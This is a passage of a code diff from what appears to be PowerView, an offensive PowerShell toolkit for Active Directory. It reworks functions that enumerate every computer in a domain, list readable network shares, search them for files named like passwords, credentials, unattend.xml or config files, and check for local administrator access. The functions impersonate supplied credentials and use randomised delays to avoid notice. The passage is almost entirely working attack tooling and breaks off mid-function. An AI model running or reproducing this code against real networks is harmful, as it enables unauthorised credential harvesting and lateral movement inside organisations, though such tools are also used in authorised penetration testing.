($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - if ($ExcludeStandard) { - $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' } - if(!$ComputerName) { - [array]$ComputerName = @() + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.count) -eq 0) { - throw "No hosts found!" - } - } - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and check what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { - Write-Verbose "[*] Server share: $Share" - $NetName = $Share.shi1_netname - $Remark = $Share.shi1_remark - $Path = '\\'+$ComputerName+'\'+$NetName - - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { - # if we're just checking for access to ADMIN$ - if($CheckAdmin) { - if($NetName.ToUpper() -eq "ADMIN$") { - try { - $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" - } - catch { - Write-Verbose "Error accessing path $Path : $_" - } - } - } - # skip this share if it's in the exclude list - elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { # see if we want to check access to this share - if($CheckShareAccess) { + if ($CheckShareAccess) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" + $Share } catch { - Write-Verbose "Error accessing path $Path : $_" + Write-Verbose "Error accessing share path $Path : $_" } } else { - "\\$ComputerName\$NetName `t- $Remark" + $Share } } } } } - } - - } - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'CheckShareAccess' = $CheckShareAccess - 'ExcludedShares' = $ExcludedShares - 'CheckAdmin' = $CheckAdmin + if ($TokenHandle) { + Invoke-RevertToSelf } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } + } + } - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - ForEach ($Computer in $ComputerName) { + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken } } - - } -} - - -function Invoke-FileFinder { -<# - .SYNOPSIS - - Finds sensitive files on the domain. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" - .PARAMETER ComputerName + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } - Host array to enumerate, passable on the pipeline. + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } - .PARAMETER ComputerFile + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} - File of hostnames/IPs to search. - .PARAMETER ComputerFilter +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS - Host filter name to query AD for, wildcards accepted. +Searches for files matching specific criteria on readable shares +in the domain. - .PARAMETER ComputerADSpath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.DESCRIPTION - .PARAMETER ShareList +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. - List if \\HOST\shares to search through. +.PARAMETER ComputerName - .PARAMETER Terms +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - Terms to search for. +.PARAMETER ComputerDomain - .PARAMETER OfficeDocs +Specifies the domain to query for computers, defaults to the current domain. - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) +.PARAMETER ComputerLDAPFilter - .PARAMETER FreshEXEs +Specifies an LDAP query string that is used to search for computer objects. - Switch. Find .EXEs accessed within the last week. +.PARAMETER ComputerSearchBase - .PARAMETER LastAccessTime +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Only return files with a LastAccessTime greater than this date value. +.PARAMETER ComputerOperatingSystem - .PARAMETER LastWriteTime +Search computers with a specific operating system, wildcards accepted. - Only return files with a LastWriteTime greater than this date value. +.PARAMETER ComputerServicePack - .PARAMETER CreationTime +Search computers with a specific service pack, wildcards accepted. - Only return files with a CreationDate greater than this date value. +.PARAMETER ComputerSiteName - .PARAMETER IncludeC +Search computers in the specific AD Site name, wildcards accepted. - Switch. Include any C$ shares in recursive searching (default ignore). +.PARAMETER Include - .PARAMETER IncludeAdmin +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) - Switch. Include any ADMIN$ shares in recursive searching (default ignore). +.PARAMETER SharePath - .PARAMETER ExcludeFolders +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share - Switch. Exclude folders from the search results. +.PARAMETER ExcludedShares - .PARAMETER ExcludeHidden +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. - Switch. Exclude hidden files and folders from the search results. +.PARAMETER LastAccessTime - .PARAMETER CheckWriteAccess +Only return files with a LastAccessTime greater than this date value. - Switch. Only returns files the current user has write access to. +.PARAMETER LastWriteTime - .PARAMETER OutFile +Only return files with a LastWriteTime greater than this date value. - Output results to a specified csv output file. +.PARAMETER CreationTime - .PARAMETER NoClobber +Only return files with a CreationTime greater than this date value. - Switch. Don't overwrite any existing output file. +.PARAMETER OfficeDocs - .PARAMETER NoPing +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - Switch. Don't ping each host to ensure it's up before enumerating. +.PARAMETER FreshEXEs - .PARAMETER Delay +Switch. Find .EXEs accessed within the last 7 days. - Delay between enumerating hosts, defaults to 0 +.PARAMETER Server - .PARAMETER Jitter +Specifies an Active Directory server (domain controller) to bind to. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER SearchScope - .PARAMETER Domain +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Domain to query for machines, defaults to the current domain. +.PARAMETER ResultPageSize - .PARAMETER DomainController +Specifies the PageSize to set for the LDAP searcher object. - Domain controller to reflect LDAP queries through. +.PARAMETER ServerTimeLimit - .PARAMETER SearchForest +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER Tombstone - .PARAMETER SearchSYSVOL +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. +.PARAMETER Credential - .PARAMETER Threads +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - The maximum concurrent threads to execute. +.PARAMETER Delay - .PARAMETER UsePSDrive +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Mount target remote path with temporary PSDrives. +.PARAMETER Jitter - .EXAMPLE +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - PS C:\> Invoke-FileFinder +.PARAMETER Threads - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, +The number of threads to use for user searching, defaults to 20. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -Domain testing +Find-InterestingDomainShareFile - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, +Finds 'interesting' files on the current domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -IncludeC +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login' or 'unattend*.xml' in the name, - including C$ shares. +Finds 'interesting' files on readable shares on the specified systems. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name, and write everything to "out.csv" +Searches interesting files in the testlab.local domain using the specified alternate credentials. - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +.OUTPUTS +PowerView.FoundFile #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerSearchBase, - [ValidateScript({Test-Path -Path $_ })] + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $ShareList, + $ComputerOperatingSystem, - [Switch] - $OfficeDocs, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, - [Switch] - $FreshEXEs, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, - [Alias('Terms')] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] [String[]] - $SearchTerms, + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), - [ValidateScript({Test-Path -Path $_ })] - [String] - $TermList, + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, - [String] + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastAccessTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastWriteTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $CreationTime, + [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] - $IncludeC, + $OfficeDocs, + [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] - $IncludeAdmin, + $FreshEXEs, - [Switch] - $ExcludeFolders, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $ExcludeHidden, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [Switch] - $CheckWriteAccess, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [String] - $OutFile, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] - $NoClobber, + $Tombstone, - [Switch] - $NoPing, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - [UInt32] + [ValidateRange(1, 10000)] + [Int] $Delay = 0, + [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [Switch] - $SearchSYSVOL, - - [ValidateRange(1,100)] [Int] - $Threads, - - [Switch] - $UsePSDrive + [ValidateRange(1, 100)] + $Threads = 20 ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - - $Shares = @() - - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @("C$", "ADMIN$") - - # see if we're specifically including any of the normally excluded sets - if ($IncludeC) { - if ($IncludeAdmin) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("ADMIN$") - } - } - - if ($IncludeAdmin) { - if ($IncludeC) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("C$") - } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } - # if there's a set of terms specified to search for - if ($TermList) { - ForEach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $SearchTerms += $Term - } - } - } + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) - # if we're hard-passed a set of shares - if($ShareList) { - ForEach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $Null) -and ($Item.trim() -ne '')) { - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $Share = $Item.Split("`t")[0] - $Shares += $Share - } - } - } - else { - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - if(!$ComputerName) { + ForEach ($TargetComputer in $ComputerName) { - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer } else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } } - if($SearchSYSVOL) { - ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include } - if(!$SearchTerms) { - # search for interesting scripts on SYSVOL - $SearchTerms = @('.vbs', '.bat', '.ps1') + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs } - } - else { - [array]$ComputerName = @() - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime + } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs } } - } - # script block that enumerates shares and files on a server - $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) - - Write-Verbose "ComputerName: $ComputerName" - Write-Verbose "ExcludedShares: $ExcludedShares" - $SearchShares = @() + if ($TokenHandle) { + Invoke-RevertToSelf + } + } - if($ComputerName.StartsWith("\\")) { - # if a share is passed as the server - $SearchShares += $ComputerName + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { - # if we're enumerating the shares on the target server first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and display what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } - $NetName = $Share.shi1_netname - $Path = '\\'+$ComputerName+'\'+$NetName + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random - # skip this share if it's in the exclude list - if ($ExcludedShares -NotContains $NetName.ToUpper()) { - # check if the user has access to this path - try { - $Null = [IO.Directory]::GetFiles($Path) - $SearchShares += $Path - } - catch { - Write-Verbose "[!] No access to $Path" - } - } - } - } - } - } + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 - ForEach($Share in $SearchShares) { - $SearchArgs = @{ - 'Path' = $Share - 'SearchTerms' = $SearchTerms - 'OfficeDocs' = $OfficeDocs - 'FreshEXEs' = $FreshEXEs - 'LastAccessTime' = $LastAccessTime - 'LastWriteTime' = $LastWriteTime - 'CreationTime' = $CreationTime - 'ExcludeFolders' = $ExcludeFolders - 'ExcludeHidden' = $ExcludeHidden - 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive - } + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Find-InterestingFile @SearchArgs + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" - # if we're using threading, kick off the script block with Invoke-ThreadedFunction + # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ - 'Ping' = $(-not $NoPing) + 'Include' = $Include 'ExcludedShares' = $ExcludedShares - 'SearchTerms' = $SearchTerms - 'ExcludeFolders' = $ExcludeFolders 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive + 'TokenHandle' = $LogonToken } - # kick off the threaded script block + arguments - if($Shares) { - # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if($Shares){ - $ComputerName = $Shares - } - elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - $ComputerName | Where-Object {$_} | ForEach-Object { - Write-Verbose "Computer: $_" - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive - } + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken } } } @@ -11614,896 +16684,616 @@ function Invoke-FileFinder { function Find-LocalAdminAccess { <# - .SYNOPSIS +.SYNOPSIS + +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction - Finds machines on the local domain where the current user has - local administrator access. Uses multithreading to - speed up enumeration. +.DESCRIPTION - Author: @harmj0y - License: BSD 3-Clause +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. - .DESCRIPTION +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' + 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' + 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. +.PARAMETER ComputerName - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' - 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' - 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - .PARAMETER ComputerName +.PARAMETER ComputerDomain - Host array to enumerate, passable on the pipeline. +Specifies the domain to query for computers, defaults to the current domain. - .PARAMETER ComputerFile +.PARAMETER ComputerLDAPFilter - File of hostnames/IPs to search. +Specifies an LDAP query string that is used to search for computer objects. - .PARAMETER ComputerFilter +.PARAMETER ComputerSearchBase - Host 